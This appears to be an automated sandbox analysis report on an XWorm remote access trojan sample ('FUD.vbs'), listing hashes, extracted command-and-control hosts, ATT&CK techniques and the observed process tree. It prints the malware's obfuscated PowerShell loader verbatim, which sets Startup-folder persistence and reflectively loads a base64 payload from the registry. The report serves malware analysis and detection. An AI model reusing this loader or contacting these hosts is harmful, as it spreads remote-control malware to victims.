xworm | f9f35704de5a2355e9b8b7107613736b5501573cfb9794126867ccd73100ea98

Analysis

max time kernel
137s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20250217-en
resource tags

arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
submitted
28/02/2025, 15:40

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General

Target

FUD.vbs
Size

325KB
MD5

d525be35ac5b7de70edb7c00529f1d83
SHA1

eef5cd4c355487132d225492acdc425fb0fe606d
SHA256

f9f35704de5a2355e9b8b7107613736b5501573cfb9794126867ccd73100ea98
SHA512

32e399504a0669e0c83872a947cf24955489f2b3f75dae83cec2798681f4249d6bac02f861436fcbf6b8d2321045ab7fbc6c006bf33ca1402429ce799e254830
SSDEEP

6144:PAbSQwEhvxxx06qUY2fVHavDdl8PI76KF51u7WJVzZF:PAbBlhqp2fZsDdlYI77BVlF

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

required-mold.gl.at.ply.gg:25146

feedback-both.gl.at.ply.gg:25146

192.168.1.223:25146

Attributes

Install_directory
%ProgramData%
install_file
Xclient.exe

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/4796-15-0x0000016F712A0000-0x0000016F712E2000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
26	4796	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.vbs	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.vbs	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4796	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
25	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4796	powershell.exe
4796	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4796	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3988 wrote to memory of 4796	3988	WScript.exe	92
PID 3988 wrote to memory of 4796	3988	WScript.exe	92

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\FUD.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3988
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -exec bypass -window 1 -Command Copy-Item 'C:\Users\Admin\AppData\Local\Temp\FUD.vbs' 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.vbs'; $roadtest = ((Get-ItemProperty HKCU:\Software\Chrome\).Updates); $roadtest = -join $roadtest[-1..-$roadtest.Length];[<##>AppDomain<##>]::<##>('seaserviceurrentDomain'.replace('seaservice','C'))<##>.<##>('digeneticoad'.replace('digenetic','L'))([Convert]::FromBase64String($roadtest))<##>.<##>('estocsntryPoint'.replace('estocs','E'))<##>.<##>('Instolonoke'.replace('stolon','v'))($Null,$Null)<##>;
  2⤵
  - Blocklisted process makes network request
  - Drops startup file
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4796

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3qzl3emf.we3.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4796-0-0x00007FFA7BF53000-0x00007FFA7BF55000-memory.dmp

Filesize
8KB

Download
memory/4796-1-0x0000016F59090000-0x0000016F590B2000-memory.dmp

Filesize
136KB

Download
memory/4796-11-0x00007FFA7BF50000-0x00007FFA7CA11000-memory.dmp

Filesize
10.8MB

Download
memory/4796-12-0x0000016F71540000-0x0000016F71584000-memory.dmp

Filesize
272KB

Download
memory/4796-13-0x00007FFA7BF50000-0x00007FFA7CA11000-memory.dmp

Filesize
10.8MB

Download
memory/4796-15-0x0000016F712A0000-0x0000016F712E2000-memory.dmp

Filesize
264KB

Download
memory/4796-16-0x00007FFA7BF50000-0x00007FFA7CA11000-memory.dmp

Filesize
10.8MB

Download